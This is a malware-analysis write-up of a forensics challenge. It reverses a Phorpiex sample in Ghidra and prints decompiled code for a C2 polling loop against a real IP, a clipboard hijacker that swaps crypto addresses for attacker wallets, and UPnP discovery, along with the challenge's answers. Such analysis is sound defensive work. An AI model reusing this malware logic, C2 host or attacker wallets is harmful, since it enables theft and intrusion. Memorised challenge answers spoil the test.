Abstract

After a security incident, unusual activity on Samira’s workstation led to the discovery of a suspicious binary operating stealthily in the background. The executable evades standard detection while maintaining persistence and network communication. Your mission is to reverse the binary and extract the attacker’s TTPs for the endpoint security team.

The only artifact I get is a binary called optimize.exe, not too suprising for a malware sherlock.


Question 1

What is the entropy value of the executable file?

The entropy of files can be calculated by various tools. One can search Virustotal for the hash or use something like detect-it-easy.

6.41450

Question 2

What is the consistent filename used by the malware when replicating itself across different locations?

I throw the binary into Ghidra and can find the answer right in the entry function of the code. It loads the unicode string syscrondvr.exe from 0x414324 and uses the same name to copy the file into three locations: %USERPROFILE%, %windir% and %temp%.

syscrondvr.exe

Question 3

Following filename verification, which Win32 API does the binary use to enforce region-based execution constraints?

Searching for locale in the Symbol References finds GetLocaleInfoA where the malware compares the result with the value UKR. In case there’s a match, the malware just exits.

bool FUN_0040ea40(void)
 
{
  int iVar1;
  CHAR local_10 [12];
  
  GetLocaleInfoA(0x400,7,local_10,10);
  iVar1 = strcmp(local_10,"UKR");
  return iVar1 == 0;
}

GetLocaleInfoA

Question 4

The function at relative address 0x407680 makes a WinAPI call immediately before initiating the network request. Which WinAPI function does it call to ensure fresh data is retrieved from the C2 server?

The function at 0x407680 has only three API calls. DeleteUrlCacheEntry removes the cache entry for local_23c, that holds the URL, so a fresh copy should be retrieved.

void lpStartAddress_00407680(void)
 
{
  char cVar1;
  uint local_244;
  uint local_240;
  CHAR local_23c [508];
  undefined *local_40 [4];
  undefined *local_30;
  uint local_2c [10];
  
  local_2c[0] = 0;
  local_2c[1] = 0;
  local_2c[2] = 0;
  local_2c[3] = 0;
  local_2c[4] = 0;
  local_2c[5] = 0;
  local_2c[6] = 0;
  local_2c[7] = 0;
  local_2c[8] = 0;
  local_2c[9] = 0;
  local_40[0] = &DAT_00411638;
  local_40[1] = &DAT_0041163c;
  local_40[2] = &DAT_00411640;
  local_40[3] = &DAT_00411644;
  local_30 = &DAT_00411648;
  do {
    for (local_240 = 0; local_240 < 2; local_240 = local_240 + 1) {
      Sleep(1000);
      for (local_244 = 0; local_244 < 5; local_244 = local_244 + 1) {
        Sleep(1000);
        wsprintfA(local_23c,(LPCSTR)&param_2_0041164c,
                  (&PTR_s_http://185.156.72.39/_00414310)[local_240],local_40[local_244]);
        DeleteUrlCacheEntry(local_23c);
        cVar1 = FUN_0040ed40(local_23c,local_2c + local_244);
        if (cVar1 == '\x01') {
          FUN_0040edf0(local_23c,'\0');
        }
      }
    }
    Sleep(900000);
  } while( true );
}

DeleteUrlCacheEntry

Question 5

Samira noticed unusual behavior during the paste operation — what is the relative address of the function that is responsible for this strange activity?

The question is already hinting towards the clipboard and looking up API calls related to that via the Symbol References shows multiple hits. Most of those are contained within the function at 0x405B90. Depending on the available clipboard formats different functions are called and the malware adds itself to the chain of clipboard viewers with SetClipboardViewer.

0x405B90

Question 6

Which Windows message, serves as the primary trigger for initiating the clipboard content?

Since the malware added itself to the clipboard viewer chain it will receive the WM_DRAWCLIPBOARD message as soon as the content of the clipboard changes1.

WM_DRAWCLIPBOARD

Question 7

What is the relative address of the function used to modify Samira's clipboard content by replacing it with new data?

Notably, the previously identified function does not contain any references to SetClipBoardData so that functionality is stored somewhere else. When I look up usages for this API, I only find 0x404A60.

0x404A60

Question 8

A transaction was made from "jamilaaidos.eth"; what is the transaction hash associated with the user latest operation?

The clipboard data is modified in 0x404A60 based on the current content. There’s a huge decision tree that compares the first character of the clipboard data with different values in order to identify common crypto addresses. My assumption would be, this is to replace the original address with one controlled by the attacker to steal crypto currency.

    if ((*param_1 == L'a') && (param_1[1] != L'd')) {
      if (pWVar2 == (LPCWSTR)0x22) {
        local_c = "aPFoyg69vKYCfnKGo1eLBo5XAmoyuZniGc";
      }
      else if (((param_1[1] == L'v') && (param_1[2] == L'a')) && (param_1[3] == L'x')) {
        local_c = "avax1j8gx8kp4zpldw4rpflyg6zrrl7awv9lg7gq4vt";
      }
      else if (((param_1[1] == L'k') && (param_1[2] == L'a')) &&
              ((param_1[3] == L's' && (param_1[4] == L'h')))) {
        local_c = "akash125f3mw4xd9htpsq4zj5w5ezm5gags37ylpdqfe";
      }
    }
    if (*param_1 == L'0') {
      if (pWVar2 == (LPCWSTR)0x42) {
        local_c = "0xcedc0e98c250c555d0420fba7ba45d9941bf577f00c976d6af2058ccde533a36";
      }
      else {
        local_c = "0x46e5cc402BC848ceC9f4d65c9B48aE7D7A24821B";
      }
    }

I’m looking for something related to ETH and those addresses start with 0x followed by 40 alphanumeric values2, so 0x46e5cc402BC848ceC9f4d65c9B48aE7D7A24821B is a valid match. There are only 22 transactions associated with this address and one of them is linked to jamilaaidos.eth.

0xab2d474dad344da1e3b7ece6e7022c3295c52b176978337be82288a59e5a2a40

Question 9

As already noted in the beginning, the strings within the binary are not obfuscated and searching for m-search shows a match at 0x4119e8 and that is used in the function located at 0x40da20. There multiple references to the multicast address 239.255.255.250, the standard address for the Simple Service Discovery Protocol3.

int __cdecl FUN_0040da20(undefined4 *param_1)
 
{
  // SNIP
  
  local_c = (int *)0x0;
  local_8 = 0;
  local_10 = Ordinal_23(2,2,0x11);
  if (local_10 != -1) {
    local_3a = 0;
    uStack_38 = 0;
    local_36 = 0;
    uStack_34 = 0;
    local_32 = 0;
    local_2e = 0;
    local_3c = 2;
    local_3a = Ordinal_9(1900);
    uVar2 = Ordinal_11("239.255.255.250");
    uStack_38 = (undefined2)uVar2;
    local_36 = (undefined2)((uint)uVar2 >> 0x10);
    local_19 = 1;
    Ordinal_21(local_10,0xffff,0x20,&local_19,1);
    local_2a = 0;
    uStack_28 = 0;
    local_26 = 0;
    uStack_24 = 0;
    local_22 = 0;
    local_1e = 0;
    local_2c = 2;
    uVar2 = FUN_0040acc0();
    uStack_28 = (undefined2)uVar2;
    local_26 = (undefined2)((uint)uVar2 >> 0x10);
    Ordinal_2(local_10,&local_2c,0x10);
    local_18 = 
    "M-SEARCH * HTTP/1.1\r\nST:urn:schemas-upnp-org:device:InternetGatewayDevice:1\r\nMX: 3\r\nMan:\ "ssdp:discover\"\r\nHOST: 239.255.255.250:1900\r\n\r\n"
    ;
    uVar5 = 0x10;
    puVar4 = &local_3c;
    uVar2 = 0;
    iVar3 = lstrlenA(
                    "M-SEARCH * HTTP/1.1\r\nST:urn:schemas-upnp-org:device:InternetGatewayDevice:1\r \nMX: 3\r\nMan:\"ssdp:discover\"\r\nHOST: 239.255.255.250:1900\r\n\r\n"
                    );
    Ordinal_20(local_10,local_18,iVar3,uVar2,puVar4,uVar5);
    local_14 = 1;
    Ordinal_10(local_10,0x8004667e,&local_14);
    while( true ) {
      local_40 = 0;
      cVar1 = FUN_0040dba0(local_10,&local_40);
      if (cVar1 == '\0') break;
      local_c = FUN_0040a220(local_c,local_8 * 4 + 4);
      local_c[local_8] = local_40;
      local_8 = local_8 + 1;
    }
    FUN_0040ad80(local_10);
  }
  if (local_c != (int *)0x0) {
    *param_1 = local_c;
  }
  return local_8;
}

239.255.255.250

Question 10

What standard UDP port number is used for the SSDP M-SEARCH discovery requests?

The port is also the default one and included in the Host header in the previous code snippet.

1900

Question 11

What is the malware family associated with the malware?

This can either be answered by extensive research or searching the hash on VirusTotal.

phorpiex

Footnotes

  1. WM_DRAWCLIPBOARD message

  2. Understanding the Ethereum address format

  3. Simple Service Discovery Protocol